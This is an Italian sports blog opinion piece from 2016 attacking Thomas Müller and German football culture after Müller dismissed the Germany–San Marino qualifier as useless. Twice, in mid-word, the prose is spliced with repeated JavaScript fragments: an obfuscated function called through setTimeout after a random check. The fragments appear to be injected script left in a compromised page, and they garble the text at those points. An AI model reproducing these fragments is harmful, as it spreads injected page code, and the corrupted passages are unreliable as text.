The Locker Room

IL CALCIO INUTILE

17 novembre 2016 Competizioni, Speak About
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Della curiosa questione sollevata dopo i novanta minuti tra Germania e San Marino rimane un’unica interessante certezza: non hanno capito niente. Non importa quanto l’opinione pubblica sportiva, formata da Presidenti Federali, commissari tecnici, calciatori o semplici appassionati si sia indiscutibilmente trovata d’accordo con le parole di Alan Gasperoni, facendole proprie e condividendone l’ironia e il risentimento: l’atteggiamento con il quale la Germania guarda al calcio è carico della stessa supponenza ed ineleganza da sempre.
I dieci punti che il responsabile della comunicazione della Nazionale di San Marino ha toccato nel suo post pubblicato su Facebook sono tutti assolutamente giusti, in primis in numero due, dove si ribadiva che il calcio non è di proprietà di nessuno ma ha il diritto di essere vissuto da tutti coloro che lo amano davvero.
Muller divide il calcio tra partite utili e inutili. E ci tiene a far capire quali Nazionali possano avere l’onore di contrapporsi alla Germania. Tentandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando una difesa in extremis ha poi dichiarato: “Vorrei brevemente spiegare il vortice che si è creato intorno a me negli ultimi giorni: la mia dichiarazione nell’intervista di venerdì non si riferiva al valore sportivo di San Marino, ma solo al rischio di infortuni. Le mie parole sono state riportate al di fuori del contesto e così hanno fatto sì che alcune persone si facessero un’opinione sbagliata, tra cui anche un funzionario di San Marino che ha scritto una lettera per certi versi anche divertente”
Praticamente Muller rischia di infortunarsi solo con squadre più deboli della Germania: insomma questo ragazzone se gioca una qualsiasi partita, anche amichevole con squadre di un certo livello non ha paura di farsi male. Il suo allenatore cercandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ando di giustificarlo aveva detto “Molti dei titolari del San Marino sono amatori mentre giocatori come Müller sono abituati a misurarsi a livello internazionale in competizioni come la Champions League dove gli avversari sono professionisti sia fisicamente che tecnicamente. ” Quindi si è annoiato? E’ rimasto basito dalla sua stra-potenza tecnica e fisica rispetto agli avversari e gli è uscita un cazzata?
La verità è che la UEFA e la FIFA dovevano riprendere duramente un’uscita così spocchiosa visto che con quelle parole Muller ha anche messo in dubbio i criteri con cui la Federazione Internazionale organizza la fase di qualificazione. I primi a vergognarsi dovevano essere i vertici federali tedeschi e del Bayern, perchè diciamocelo, Muller non è l’unico cattivo in questa storia: lui è un ottimo giocatore che però parla come gli è stato insegnato, ispirato da questo odioso e ottuso retaggio sportivo.